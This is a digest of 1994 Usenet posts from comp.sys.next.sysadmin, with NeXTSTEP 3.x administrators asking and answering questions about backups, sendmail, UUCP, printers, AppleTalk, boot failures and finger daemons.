Organization: The Ohio State University
Distribution: usa
Message-ID: <2ia3g3$57l@charm.magnus.acs.ohio-state.edu>
Hi All,
If I want to restore a system (root), since there is a bug in the NS3.2 restore
(so that I can't restore the "s" bit), what should I do?
Is it I have to go ahead and chmod for all the files that have an "s" bit???
If you have a solution, please let me know,
Thanks in advance,
Newsgroups: comp.sys.next.sysadmin
From: Robert La Ferla <Robert_La_Ferla@hot.com>
Subject: Re: Problem with UUCP and domain name
Message-ID: <1994Jan28.004359.16715@hot.com>
Sender: robertl@hot.com
Organization: Hot Technologies
References: <CK6H3u.94@canis.metaworks.de>
Date: Fri, 28 Jan 1994 00:43:59 GMT
Yes, see my previous posting.
Robert La Ferla
Hot Technologies
NEXTSTEP ISV and Consulting
In article <CK6H3u.94@canis.metaworks.de> me@canis.metaworks.de (Ralf
Canis) writes:
> Kevin Pompei wrote:
>
> > When mail is sent to my domain, the mail is delivered
> > to my system but not forwarded on to the user, instead it is
> > qued back to my network provider.
>
> I had the same problem. I resolved it changing the sendmail
configuration
> file, but that's a hack, not the ordinary way I think.
>
> First look in /etc/sendmail which configuration file to change:
> sendmail.cf is a link to one of the sendmail.*.cf files (mailhost
here).
>
> Define macro m as your local domain name in the "General
configuration
> information" part of the file:
>
> # local domain name
> ...
> Dmyour.domain.goes.here
>
> Then look for the following comment and add a new last line in this
group:
>
> # resolve the local hostname to "LOCAL".
> ...
> R$*<$*$m>$* $#local $:$1 thisdomain (rc)
>
> Running sendmail in address test mode you can look at the results
of your
> changes. The mailer used for an address with your domain should be
local,
> and not ether or uucp.
>
> Example:
>
> 56 [canis:sendmail]> /usr/lib/sendmail -bt
> ADDRESS TEST MODE
> Enter <ruleset> <address>
> [Note: No automatic ruleset 3 call]
> > 3,0 me@canis.metaworks.de
> rewrite: ruleset 3 input: "me" "@" "canis" "." "metaworks" "."
"de"
> rewrite: ruleset 6 input: "me" "<" "@" "canis" "." "metaworks"
"." "de"
> ">"
> rewrite: ruleset 6 returns: "me" "<" "@" "canis" "." "metaworks"
"." "de"
> ">"
> rewrite: ruleset 3 returns: "me" "<" "@" "canis" "." "metaworks"
"." "de"
> ">"
> rewrite: ruleset 0 input: "me" "<" "@" "canis" "." "metaworks"
"." "de"
> ">"
> rewrite: ruleset 0 returns: $# "local" $: "me"
>
> As stated above I think it's a hack. Does anybody know the correct
way?
>
> Ralf
Newsgroups: comp.sys.next.sysadmin
From: henry@trilithon.com (Henry McGilton)
Subject: Re: Postscript print jobs crashing
Message-ID: <1994Jan26.205025.17606@trilithon.com>
Sender: henry@trilithon.com
Organization: Trilithon Software
References: <2i3d9r$72t@netnews.upenn.edu>
Date: Wed, 26 Jan 1994 20:50:25 GMT
In article <2i3d9r$72t@netnews.upenn.edu> joe@retina.anatomy.upenn.edu (Joe
Panico) writes:
* I have hooked up a Panasonic KX-P5400 LED printer to my PC
* running NSI 3.2. This printer is Adobe PS level 2. When
* printing out NeXT documentation (from the librarian), every
* thrity pages or so, the print job crashes and I get an
* error message on the last printed page that says:
* ERROR: undefined
* OFFENDING COMMAND: ndBinary
* STACK:
* Can anyone tell me what's going on? Any clues much appreciated.
Thanks.
Sounds suspciously like a flow control problem to me. Check to
make sure that the flow control protocol the printer's set for
matches the protocol the computer's using.
........ Henry
From: dawnstar@hh.sbay.org (Ken Mygatt)
Newsgroups: comp.sys.next.sysadmin
Subject: UUCP probs...imsg looking for sync<
Date: 27 Jan 1994 16:04:01 -0800
Organization: Hip-Hop BBS, Sunnyvale California
Message-ID: <2i9kph$nj4@hip-hop.hh.sbay.org>
I'm having probs setting up uucp... When I call to get my feed I
get the following report....
---
Connected to Hip-Hop line 1
ViVa 14.4/Fax, 56 Kbps
-General logins-
bbs Bulletin Board
Linux POSIX (hip-hop) (ttyV0)
login:got: that
send "Udawnst"
wanted """"
got: that
send "PAUSE"
wanted "ssword:"
Udawnst
Udawnst's Password:got: that
send ""xxxxxxx\r""
RETURN
root hip-hop (1/27-14:51-305) SUCCEEDED (call to hip-hop )
imsg looking for SYNC< '<--- this is where it hangs...'
NO CARRIER
root hip-hop (1/27-14:53-305) TIMEOUT (hip-hop)
---
Thanks for any help out there...
Ken
Newsgroups: comp.sys.next.sysadmin
From: me@next45.wsi.physik.tu-muenchen.de(Matthias Rosenberger)
Subject: Re: AppleShare under OS3.2
Message-ID: <1994Jan28.125749.7717@news.lrz-muenchen.de>
Sender: news@news.lrz-muenchen.de (Mr. News)
Organization: Leibniz-Rechenzentrum, Muenchen (Germany)
References: <2i9efo$mtl@news.u.washington.edu>
Date: Fri, 28 Jan 1994 12:57:49 GMT
In article <2i9efo$mtl@news.u.washington.edu> jcl@yonext.apl.washington.edu
(James C. Luby) writes:
> I recently upgraded to NeXT OS3.2 and am interested in accessing files on our
> local AppleShare network. In the NeXT System Administration on-line
> documentation there is a discussion of how to enable AppleShare through the
> Preferences application. The on-line info. indicates that there is (i.e.,
> should be) a button with the picture of an apple on it in Preferences. My
> OS3.2 preferences does not seem to have this "feature" and I'm wondering if
> there is some magical trick necessary to invoke AppleShare functionality.
> Thanks!
>
> Jim Luby
citation from NeXT:
"Use the Installer application to install the AppleTalk package onto your hard
disk from the Release 3 CD-ROM disc. Then use the Preferences application on
your NeXT computer to enable access to AppleTalk. Simply click the apple button
and then click Enable AppleTalk Networking (figure3). The next time you boot
your computer, AppleTalk is enabled."
So, do you have the package installed? As far as I know, it was only supplied
with NS3.0, so if you don't have NS 3.0 you migh not have the package.
BTW, I have the package working since my NS 3.0 installation - now under NS
3.2. The NS3.2 PrintManager doesn't seem to support AppleTalk anymore, but the
NS3.0 PrintManager still works for NS3.2 AppleTalk, so I have both versions
installed. And it's still not very stable, off course, but does what I want
most of the time, which is printing and casual file access on Apples.
Matthias
--
Matthias Rosenberger, Walter Schottky Institut, TU Muenchen
email: me@next45.wsi.physik.tu-muenchen.de
From: mow@marsu.tynet.sub.org (Markus Wenzel)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: Can't rdump: Solved
Date: 27 Jan 1994 20:05:15 +0100
Organization: Palumbian Research Labs
Message-ID: <2i939b$1qm@marsu.tynet.sub.org>
References: <2htl05$ag@marsu.tynet.sub.org> <1994Jan25.155822.650@earlham.edu>
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 8bit
tim@math.earlham.edu (Tim McLarnan) writes:
>mow@marsu.tynet.sub.org (Markus Wenzel) suggested that the right device for an
>Exabyte was /dev/rxt0, not /dev/rst0. For whatever reason, my Exabyte will
>only work with /dev/rst0. It is a new drive--perhaps Exabyte has changed?
Oh! Excuse me for giving bad advice :-O
>Ken-ichiro Aoki <ken@phys.titech.ac.jp> suggests that GNU tar is good and dump
>is bad. I'll think seriously about his advice.
I think you have to say this differently:
dump is _good_,
gnutar is not _that_ bad.
dump on NS 3.2 is _very_ bad. (losing all setuid/-gid bits!!!)
Regards,
Markus.
--
Marsu: "There really exist some people who live happily and satis-
fied without computers." -- Frankie: "Oh no, they just emulate it!"
-----
Markus Wenzel System administration, Consulting, Networking
mow@marsu.tynet.sub.org on... NeXTSTEP / Unix / Novell / Windows NT
IRC: Marsu Intel aside.
From: mow@marsu.tynet.sub.org (Markus Wenzel)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: ScreenSaver in NS 3.1/3.2
Date: 27 Jan 1994 20:07:52 +0100
Organization: Palumbian Research Labs
Message-ID: <2i93e8$1s2@marsu.tynet.sub.org>
References: <CK7nCq.JHM@usenet.ucs.indiana.edu>
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 8bit
baker@keeper.journalism.indiana.edu (Don Baker) writes:
>Can anyone clue me in on how to change the default delay on the loginwindow
>ScreenSaver? I noticed that there is a ScreenSaver bundle in loginwindow.app,
dwrite loginwindow TimeToDim <###> , with <###> = time in seconds.
--
Marsu: "There really exist some people who live happily and satis-
fied without computers." -- Frankie: "Oh no, they just emulate it!"
-----
Markus Wenzel System administration, Consulting, Networking
mow@marsu.tynet.sub.org on... NeXTSTEP / Unix / Novell / Windows NT
IRC: Marsu Intel aside.
Newsgroups: comp.sys.next.sysadmin
Subject: NS 3.2, Adaptec 1542 and Toshiba 3401B
Message-ID: <1994Jan27.124844.8268@nic.csu.net>
From: vqueved@nssnext.calstatela.edu (Victor Quevedo)
Date: 27 Jan 94 12:48:42 PST
Keywords: NS 3.2, Adaptec 1542 and Toshiba 3401B
I am having trouble getting PhotoCDs to work.
I have:
NS 3.2 (Intel)
Adaptec 1542B (connected via the internal SCSI)
Toshiba 3401B (Internal)
It reads all types of CDs. But it will not read a PhotoCD.
I remember someone having the same problems and posting a work around.
Has anyone else have this problem? Does anyone have any suggestions?
-Victor Quevedo
vqueved@nssnext.calstatela.edu
Newsgroups: comp.sys.next.sysadmin
From: dward@mercury.forestry.umn.edu (David D. Ward)
Subject: Need to know What will work with NeXT's Mach kernel
Message-ID: <CKCHCp.22G@news.cis.umn.edu>
Sender: news@news.cis.umn.edu (Usenet News Administration)
Organization: University of Minnesota, Twin Cities
Date: Fri, 28 Jan 1994 14:49:05 GMT
Howdy -
I have a very high traffic net running off of a black NeXTstation.
What I need to know:
1) Where can I get specific information about the NeXT implementation of
the Mach kernel. I need to know very technical information about the build
and configuration. For example, is there any config similar to Sun's NIT?
2) I want to implement any one and/or all of the following:
tcpdump
netmon
traceroute
nfswatch
netuse
netlog
xmon
nfstrace
3) Could someone please point me in the right direction of info conerning
the kernel *or send hacks of programs like these (I/O packet stats, net
sniffers, etc) that work on the NeXT.
Thanks so much, this is a fairly broad ended question and any help would
be appreciated. I have started on my own client/server TCP/IP monitor, if
anyone would enjoy helping. The most challenging problem presently is the
kernel interaction, and optimization.
Soapbox: Boy, I wish I had the ability to configure and rebuild the kernel
-DWARD
From: allen@atienmh.sph.jhu.edu (Allen Y. Tien), Department of Mental Hygiene, Johns Hopkins University
Newsgroups: comp.sys.next.sysadmin
Subject: digital webster
Date: 28 Jan 1994 16:15:10 GMT
Organization: HCF - Johns Hopkins University, Balitmore, Maryland, USA
Message-ID: <2ibdmeINNrtn@jhunix.hcf.jhu.edu>
Does anyone know what happened to digital webster.app? I just installed
the developer CD and expected to see digital webstaer appear but can only
find the webster files, not the app.
Allen Tien
From: ridgway@inls3.tmc.edu (Doug Ridgway)
Newsgroups: comp.sys.next.sysadmin,comp.sys.next.hardware
Subject: Re: Dot matrix printer drivers
Date: 28 Jan 1994 17:08:30 GMT
Organization: Institute for NonLinear Science, UCSD
Message-ID: <2ibgqf$c4j@network.ucsd.edu>
References: <2hk5r2INN5kk@network.ucsd.edu> <1994Jan26.205130.28355@ve6mgs.ampr.org>
In article <1994Jan26.205130.28355@ve6mgs.ampr.org> mark@ve6mgs.ampr.org (Mark G. Salyzyn) writes:
>ridgway@inls3.tmc.edu (Doug Ridgway) writes:
>
>>My situation is that I have a Canon BJ200, which is Proprinter compatible.
>>The Next supplied driver works okay, but only seems to support 180dpi.
>
>That is all this, and the other dot matrix printers are realy capable of. The
>additional effort to use their 360dpi capability is not worth it since non
>of these printers are allowed to have two 360dpi dots next to eachother.
(deleted stuff)
>Besides, I don't know why you would want 360dpi for a printer that has dots
>in the order of .005" in diameter ...
I still don't understand. The BJ 200 is an inkjet printer with a claimed 360dpi
resolution. I don't know exactly what that means, but the quality of text
printed out under Windows is significantly better than under NS. (That by
itself is annoying, even if the quality under NS was completely acceptable.)
An Alembic employee told me that Dots 3.5 would support many Canon BJs, so
it sounds like I can fix the problem for $150 in the future, which is fine.
In the meantime, I can live with jaggy text and print out anything important
at school.
doug.
>
>Ciao -- Mark
Newsgroups: comp.sys.next.sysadmin
From: kelley@kiwi.atmos.colostate.edu
Subject: test - please ignore
Message-ID: <1994Jan28.165726.50278@yuma>
Date: 28 Jan 94 16:57:26 GMT
test of ng w/ 3.2. yes, i can post to alt.test but so far,
nowhere else...
Newsgroups: comp.sys.next.sysadmin,comp.sys.next.programmer
From: cedman@princeton.edu (Carl Edman)
Subject: Re: Seeking improved fingerd/finger code...
In-Reply-To: bebeada@elof.acc.iit.edu's message of Fri, 28 Jan 94 02:06:45 GMT
To: bebeada@elof.acc.iit.edu (Adam Beberg)
Message-ID: <CEDMAN.94Jan27231919@capitalist.princeton.edu>
Originator: news@nimaster
Sender: news@Princeton.EDU (USENET News System)
Organization: Princeton University
References: <1994Jan28.020645.14988@iitmax.iit.edu>
Date: Fri, 28 Jan 1994 04:19:17 GMT
In article <1994Jan28.020645.14988@iitmax.iit.edu> bebeada@elof.acc.iit.edu (Adam Beberg) writes:
I'm looking for source for improved versions of fingerd to provide aditional
services, i.e. mail messages to the fingerie etc. I have gotten the standard
bsd fingerd code but it does just about nothing...
Any improvements would be appreciated, please post in comp.sys.next.programmers
or mail me...
Check out the new-finger code available from e.g. nova.cc.purdue.edu.
It is a modified BSD fingerd which both tracks the host and username
of the fingerers _and_ allows each user to efficiently run arbitrary
scripts when fingered. Mailing the fingeree is trivially accomplished
with these facilities. So for example my ~/.plan file looks like this:
#!/bin/sh
cd /Users/cedman
echo "Be always displeased with what thou art, if you desirest to attain to what
thou\nart not; for where thou hast pleased thyself, there thou abidest. But if
thou\nhave enough thou perishest. Always add, always walk, always proceed. Neith
er\nstand still, nor go back, nor deviate.\n -- Augustine"
echo `/bin/date` ":" $1 >>.fingerers
case $1 in
@*)
/usr/local/bin/finger $1 </dev/null | /usr/ucb/mail -s "Finger $1" cedman >/de
v/null ;;
*)
/usr/ucb/mail -s "Finger $1" cedman </dev/null >/dev/null ;;
esac
For more details see the documentation.
Carl Edman
Newsgroups: comp.sys.next.programmer,comp.sys.next.software,comp.sys.next.sysadmin
From: eugene@nshade.uah.ualberta.ca (Eugene Mah)
Subject: Interface Builder Problems! Help!!
Message-ID: <1994Jan28.193039.17000@kakwa.ucs.ualberta.ca>
Sender: news@kakwa.ucs.ualberta.ca
Organization: University Of Alberta, Edmonton Canada
Date: Fri, 28 Jan 1994 19:30:39 GMT
Help!!! My Interface Builder's gone psycho on me!
It's suddenly started giving me these error messages:
This appears in my console window
Jan 28 11:46:48 raddi InterfaceBuilder[687]: An uncaught exception was
raised
Jan 28 11:46:48 raddi InterfaceBuilder[687]: Unknown error code 314159 in
NXReportError
and this appears in an alert panel when I launch InterfaceBuilder
Runtime Error: NXReadOnlyString : does not recognize selector
-replaceWith:.
and then it quits. This only happens when I try to run it though. If
someone else runs it, it works fine, although it hangs if you try to add
or remove a palette. This all started when I installed MiscKit and went
to look at the palettes with IB. Well, that's when I first noticed
something was wrong with IB anyway. I'm not saying that MiscKit caused it
or anything.
I'm running NS3.0 on a non-turbo black slab.
I've tried a complete reinstall of the Dev package from the CD, but it
didn't help. I even deleted the Dev package and reinstalled it too, but
no success.
Anyone out there have any bright ideas? I'm all out.
Thanks alot
eugene
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------------------------------------------------------------------
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Department of Radiology Little Brain, and
University of Alberta Hospitals long words bother me."
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Newsgroups: comp.sys.next.sysadmin,comp.sys.next.software
From: janna@reliant.bsd.uchicago.edu (& Ore Nugent)
Subject: Sybase connection in SoftPC Windows?
Message-ID: <1994Jan28.220314.12664@midway.uchicago.edu>
Keywords: SoftPC, Sybase
Sender: news@uchinews.uchicago.edu (News System)
Organization: University of Chicago -- Academic Information Technologies
Date: Fri, 28 Jan 1994 22:03:14 GMT
I'm trying to set up a sybase connection between SoftPC/Windows running on
a NeXTSTEP 3.2 Intel machine and a Sun server. Both machines are on a
TCP/IP network. Has anyone gotten this to work or have reason to believe
it should work?
SoftPC is set-up to use a Novell driver, yet can see the drives I've
mounted on NeXTSTEP via NFS. Can I use this NeXTSTEP - SoftPC
communication to work for sybase as well?
Any and all info/ideas apprieciated,
Janna Ore Nugent
Biological Sciences Division
The University of Chicago
"Tiger gotta hunt. Bird gotta fly.
Man gotta sit and wonder why, why, why.
Tiger gotta sleep. Bird gotta land.
Man gotta tell himself he understand."
- Kurt Vonnegut Jr.
Newsgroups: comp.sys.next.sysadmin
From: cowboy@omega.csuohio.edu (Joe Rosenfeld)
Subject: Will chaning this nu.cf parameter scrwew up my NeXT??
Message-ID: <1994Jan28.223759.11614@news.csuohio.edu>
Sender: news@news.csuohio.edu (USENET News System)
Organization: Cleveland State University
Date: Fri, 28 Jan 1994 22:37:59 GMT
I have been contemplating changing the following parameter in the
/etc/nu.cf file from 8 to 16. I am wary to do so, thinking it might
affect my NeXT more than I know, even causing me to have to recompile
the kernel.
The line in the /etc/nu.cf file I am considering the change in is:
MaxNameLength=8
I want it a MaxNameLength=16
Any information on this is appreciated.
TIA,
Joe
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| Automation Librarian (216) 687-6881 [FAX]
| CSU Law Library trans.csuohio.edu [ANON FTP]
| NeXTMail and MIME ok
From: terry_marrs@wiltel.com(Terry Marrs)
Newsgroups: comp.sys.next.sysadmin
Subject: Toshiba 3401 Audio CD
Date: 28 Jan 1994 17:02:50 GMT
Organization: WilTel
Message-ID: <2ibgfq$n9f@gateway.wiltel.com>
Ok, let's beat this dead horse... Can someone please tell me what I
need to do to get the Toshiba 3401 CDRom drive to play audio CDs
under NextStep 3.2. Thanks in advance!
--
|Terry Marrs
|terry_marrs@wiltel.com
|WilTel | NeXTmail OK
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From: rene@rkt.in-berlin.de (Rene Kulschewski)
Subject: Diskless boot
Message-ID: <CKD2MB.1Lp@rkt.in-berlin.de>
Sender: root@rkt.in-berlin.de (Operator)
Organization: Home in Berlin
Date: Fri, 28 Jan 1994 22:32:34 GMT
Hi *,
i would like to be able to boot a PC (diskless) via Network from
an other PC running NeXTSTEP.
Is it possible ?? Which bootproms i must use ?? Will i be able to
boot other OS (e.g. 386BSD) from an PC running NeXTSTEP ??
Where can i get necessary information ??
Thanx
Rene
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From: madler@cco.caltech.edu (Mark Adler)
Newsgroups: comp.sys.next.sysadmin
Subject: Mail alias on outgoing mail
Date: 28 Jan 1994 23:20:49 GMT
Organization: California Institute of Technology, Pasadena
Message-ID: <2ic6kh$qae@gap.cco.caltech.edu>
I set up a mail alias for incoming mail that seems to work fine.
My "me" account now gets mail addressed to Mark_Adler. Now what
I'd like to do is get it to put Mark_Adler on the outgoing mail
for the return address. How do I do that?
mark
Newsgroups: comp.sys.next.sysadmin
From: bruce@TotSysSoft.com (Bruce Gingery)
Subject: Re: NS 3.2 Motorola freezing up! HELP!
Message-ID: <1994Jan28.150019.3609@ToTSySSoft.com>
Sender: news@ToTSySSoft.com
Organization: Total System Software
References: <2i8hc0$khi@netnews.upenn.edu>
Date: Fri, 28 Jan 1994 15:00:19 GMT
In article <2i8hc0$khi@netnews.upenn.edu> arzt@dccs.upenn.edu
(Noam H. Arzt) writes:
-> Ever since I upgraded to NS 3.2 on my 25mHz NeXTstation
-> I have been experienceing COMPLETE freeze-ups. BY that
-> I mean no system panic, but complete loss of keyboard
-> response including CMD-CMD-~. I need to unplug and start
-> again. It may be unrelated to the upgrade, but I'm not
-> sure. It's happened 3 times in the past 2 days, but the
-> machine was fine for at least 5 days just
-> after the upgrade (which I did last week).
->
-> The only other clue I have is some messages in the
-> /usr/adm/messages file just before each freeze that
-> indicate "mach: spurious DMA interrupt: channel
-> 0x2000110". These messages occur occassionally without
-> a freezeup as well.
->
-> Any advise?
Noam,
I can't answer with anything sure, but I've experienced a
similar lockup when the vm manager gets too dithered, under
3.1. I'm running dual swapfiles, on an 8meg 25mhz cube, and
when too much gets going at once, it'll grind to a halt that
even cmd~~ (sometimes) can't get through. It seems to depend
on just what's active as it hits the final failure. One
thing that helped was turning OFF swapfile compression.
Hope it helps.
Bruce Gingery bruce@TotSysSoft.com
Newsgroups: comp.sys.next.sysadmin
From: jmack@skye.phys.ualberta.ca
Subject: Re: fold [ -b] [ -s] [ -w Width ] [ File... ]
Message-ID: <1994Jan29.074547.10504@kakwa.ucs.ualberta.ca>
Sender: news@kakwa.ucs.ualberta.ca
Organization: University Of Alberta, Edmonton Canada
References: <CK9qLt.HCy@murdoch.acc.Virginia.EDU>
Date: Sat, 29 Jan 1994 07:45:47 GMT
In article <CK9qLt.HCy@murdoch.acc.Virginia.EDU> jpw@sansfoy.lib.Virginia.EDU
(John Price-Wilkin) writes:
>
> Most interesting subject I could make for this. That's "fold"
> from the RS/6000. On the NeXT, we don't have "-s" and for
> the life of me I can't find a Width number that isn't a "bad
> number." Is there something comparable? I'm afraid fmt won't
> always get it. Am I wrong?
>
> jpw@virginia.edu
Check the version you are running. Mine works fine, and has the -s option
(black 3.0 hardware):
/tmp>fold --version
GNU textutils 1.5
fold --h
Usage: fold [-bs] [-w width] [--bytes] [--spaces] [--width=width]
[--help] [--version] [file...]
/tmp>fold -s -w 25 jpw.mess
Most interesting subject
I could make for this.
That's "fold"
from the RS/6000. On
the NeXT, we don't have
"-s" and for
the life of me I can't
find a Width number that
isn't a "bad
number." Is there
something comparable?
I'm afraid fmt won't
always get it. Am I
wrong?
If you have trouble with odd-width lines, it's because the newlines
in the original file are not touched. If I collapse all of the newlines
in your posted message, and do the same thing as above, I get:
/tmp>fold -s -w 25 jpw.mess-no-newlines
Most interesting subject
I could make for this.
That's "fold" from the
RS/6000. On the NeXT,
we don't have "-s" and
for the life of me I
can't find a Width
number that isn't a "bad
number." Is there
something comparable?
I'm afraid fmt won't
always get it. Am I
wrong?
It's GNU, so you can always get hold of the source and hack away.
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From: sbender@access3.digex.net (Scott Bender)
Newsgroups: comp.sys.next.sysadmin,comp.sys.next.software,comp.sys.next.hardware,comp.sys.next.misc
Subject: Please Help!! Can't boot NSFIP anymore!
Date: 29 Jan 1994 11:44:54 -0500
Organization: Harmony Data Systems
Message-ID: <2ie3q6$gsi@access3.digex.net>
Please Help!! I can longer boot NeXTSTEP. While trying to configure
a ProAudioSpectrum I was getting time outs from my DPT2022, and the boot
process got stuck after checking the root device. I then removed the
PAS16 and while rebooting, I got this:
Load of /etc/mach_init failed, errno 13, trying /etc/init
Load of /etc/init failed, errno 13
The boot process stops here, no more messages.
As usuall I have'nt made a backup in about a month. There's very important
information on my system that I can't get acces to.
Is there a way to boot off CDROM or floppy, so that I can at least backup
important files before reinstalling?
I use black hardware at work. Would it be possible to mount this drive
(a Micropolis 2210 SCSI) and backup or repair from there.
If you have any idea how to fix this please send e-mail.
I'll post a summary when I get the problem resolved.
Thanks
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From: federico@heinz.in-berlin.de (Federico Heinz)
Subject: Re: Dot matrix printer drivers
Message-ID: <1994Jan29.154251.288@dart.de>
Sender: federico@dart.de
Organization: d'ART Software GmbH
References: <2ibgqf$c4j@network.ucsd.edu>
Date: Sat, 29 Jan 94 15:42:51 GMT
In article <2ibgqf$c4j@network.ucsd.edu> ridgway@inls3.tmc.edu (Doug Ridgway)
writes:
>That is all this, and the other dot matrix printers are realy capable
>of. The additional effort to use their 360dpi capability is not worth
>it since non of these printers are allowed to have two 360dpi dots next
>to each other. [...]
Well---that's both right and wrong. All technical details Doug tells us are
right, yet his conclusion (360dpi is not worth the trouble) is wrong. It's
true that none of these preinters can print two dots side-to-side, but the
ability to more finely control which dots get fired and which not does make a
difference, and quite a noticeable one. I have these two printouts from a
Canon BJ300 right here in my hand to prove it.
Anyway, support for dot matrix printers other than the DeskJet is back in
Dots starting with version 3.5, to be released soon and available at an
archive server near your site, so you can check it for yourself.
Federico
DISCLAIMER: would you have guessed I'm the program's author?
From: karthy@dannug.dk (Karsten Thygesen)
Newsgroups: comp.sys.next.sysadmin,comp.sys.next.programmer
Subject: Re: Seeking improved fingerd/finger code...
Date: 29 Jan 1994 09:54:46 GMT
Organization: Dannug - Danish NeXT Users Group
Message-ID: <KARTHY.94Jan29105446@dannug.dannug.dk>
References: <1994Jan28.020645.14988@iitmax.iit.edu>
In-reply-to: bebeada@elof.acc.iit.edu's message of Fri, 28 Jan 94 02:06:45 GMT
>>>>> "Adam" == Adam Beberg <bebeada@elof.acc.iit.edu> writes:
In article <1994Jan28.020645.14988@iitmax.iit.edu> bebeada@elof.acc.iit.edu (Adam Beberg) writes:
Adam> Greetings... I'm looking for source for improved versions of
Adam> fingerd to provide aditional services, i.e. mail messages to the
Adam> fingerie etc. I have gotten the standard bsd fingerd code but it
Adam> does just about nothing...
Adam> Any improvements would be appreciated, please post in
Adam> comp.sys.next.programmers or mail me...
Take a look at GNU finger. It has a lot of possibilities for making
scripts, non-existent users, possibility to comprehend a site as a
single machine, forwarding of finger requests and much more. The only
disadvantage is, that it does not compile "out-of-the-box" on a NeXT,
and my installation often just hangs without any reason...It has not
been updated during a long period, and I'm not sure if it is still
maintained at all...
Best regards,
Karsten
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From: benkt@ie1next.me.umn.edu ()
Subject: ProAudio 16 doesn't record
Message-ID: <CKEo54.1o2@news.cis.umn.edu>
Sender: news@news.cis.umn.edu (Usenet News Administration)
Organization: University of Minnesota, Twin Cities
Date: Sat, 29 Jan 1994 19:07:29 GMT
Hi, everyone:
I tried to install a ProAudio 16 in my Gateway 2000 system. After
I configured the board, I can play the snd files without a glitch. I put
a microphone on the card, it doesn't seem to work. Is there any special
setup needed to use the recording function? Does NeXTSTEP 3.2 FIP
supports recording function?
Thanks
Ben
From: mycroft@ccwf.cc.utexas.edu (Alex Currier)
Newsgroups: comp.sys.next.sysadmin
Subject: Mac LocalTalk to NeXT to SLIP to internet?
Date: 29 Jan 1994 20:03:28 GMT
Organization: The University of Texas at Austin, Austin, Texas
Message-ID: <2iefeg$jq2@geraldo.cc.utexas.edu>
Here's a good one... I have a Mac that doesn't have an ethernet connection. I
have a NeXTcube connected to the net via my campus SLIP access. Can I connect
the Mac to the NeXT via LocalTalk (and use the NeXT as a file server) in order
to provide my Mac net access through the NeXT? I am pretty sure this can be
done (I think my current place of employment had such a setup before I
arrived) but I have no idea what I need for the NeXT to get it done.
Suggestions please?
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From: jweiss@casbah.acns.nwu.edu (Jerry Weiss)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: nsfip - machine won't boot after install
Date: 28 Jan 1994 03:36:44 GMT
Organization: Northwestern University, Evanston IL USA
Message-ID: <2ia18c$gna@news.acns.nwu.edu>
References: <9401251604.AA11415@kiwi.ATMOS.ColoState.Edu>
In article <9401251604.AA11415@kiwi.ATMOS.ColoState.Edu>,
Kelley Wittmeyer <kelley@kiwi.ATMOS.ColoState.Edu> wrote:
>hi all
>
>our first 'white' machine... i installed 3.2 on it
>over the weekend and it came up nicely. first time
>i reboot, the machine hangs on the starting automounter
>message.
>
>the machine is a 486/33 dx w/
>ati ultra pro 2mb graphics card
>2 floppy drives
>520mb fujitsu scsi disk (scsi id 0)
>uart fast serial/parallel i/o isa controller
>1542cf scsi-2/floppy isa controller
>
>any help would be GREATLY appreciated.
With knowing how you setup your system network-wise, its a little
hard to guess, but here goes.
Try a control-c? Otherwise boot single user mode and check
/etc/hostconfig. If machine is not on a network when booted,
set the ipaddress to -automatic-.
--
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j-weiss@nwu.edu
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From: chris@jbasp.demon.co.uk (Chris Bradshaw)
Newsgroups: comp.sys.next.sysadmin,comp.sys.next.hardware
Subject: [HELP] 3.1 hangs for no reason!!!
Date: 28 Jan 1994 18:40:55 -0000
Organization: JBA Software Products, Studley, England.
Message-ID: <2ibm7n$6on@silver.jba.com>
Greetings Netters...
I have recently installed Next 3.1 on a 486DX2 66 Mhz VL Bus machine with 32
Mb RAM, an Adaptec 1542B SCSI controller, a Maxtor 521 Mb SCSI disk and a
Toshiba XM 3401B SCSI CD-ROM drive. The trouble is that it always hangs with
the following error in a System Panic message window:
panic: (Cpu 0) strange ipc_state
RDP (some text I can't remember).... exception 6 code 3 subcode 0
Waiting for RDP connection (Press 'c' to continue)
I have followed carefully all of the recommendations by Next tech support with
regard to the SCSI card and devices I am using. Anybody any ideas? Anybody
even know what the above means? Any and all replies greatly appreciated...
thanx in advance.
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From: sbender@access1.digex.net (Scott Bender)
Newsgroups: comp.sys.next.sysadmin,comp.sys.next.software,comp.sys.next.hardware,comp.sys.next.misc
Subject: Re: Please Help!! Can't boot NSFIP anymore!
Date: 29 Jan 1994 15:42:28 -0500
Organization: Harmony Data Systems
Message-ID: <2iehnk$h96@access1.digex.net>
References: <2ie3q6$gsi@access3.digex.net>
Sorry to waste everyones time, but I finally got my disk back up.
I took the disk to work and hooked it up to a white machine with NSIP.
I then ran a fsck on the drive, which removed most of the files in
/private/etc, and then replaced the missing files.
Every thing runs fine now.
Thanks,
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From: johnv@ejv.com (John Van Vlaanderen)
Subject: Re: Improved telnetd anyone?
Message-ID: <1994Jan28.141134.1702@ejv.com>
Organization: /usr/lib/news/organi[sz]ation
References: <2hbou9$63s@news.intercon.com> <2hrt1n$hh3@news.intercon.com> <2hs8nh$m9u@wzv.win.tue.nl> <2hu0hn$pc2@news.intercon.com>
Date: Fri, 28 Jan 1994 14:11:34 GMT
>I guess so. Looks like a logind question instead.
Wietse is always right
From: Mark-Tarbell@suite.com
Newsgroups: comp.sys.next.sysadmin,comp.sys.next.software,comp.sys.next.misc
Subject: Rumors of Upgrading from 3.0 to 3.2
Message-ID: <2ibiil$p6j@bilbo.suite.com>
Date: 28 Jan 94 17:38:29 GMT
Organization: Suite Software
Could someone please comment on whether the following rumors are true?
The following pertain to black hardware.
1. I have heard that it is possible to upgrade directly to NS3.2 from
NS3.0 (without going through the NS3.1 upgrade step). True?
2. I have also heard that it is NOT possible to upgrade NS3.0J at all!
NS3.0J is the Japanese-environment version of NEXTSTEP. This would
mean I would have to reinstall NS3.0 from scratch, and then proceed,
or wait until NS3.2J comes out. True?
Thanks for your input.
Mark-Tarbell@suite.com
ep). True?
2. I have also heard that it is NOT possible to upgrade NS3.0J at all!
NS3.0J is the Japanese-environment version of NEXTSTEP. This
From: shepherd@suite.com (Scot Shepherd)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: Rumors of Upgrading from 3.0 to 3.2
Message-ID: <2ibjlg$pha@bilbo.suite.com>
Date: 28 Jan 94 17:57:04 GMT
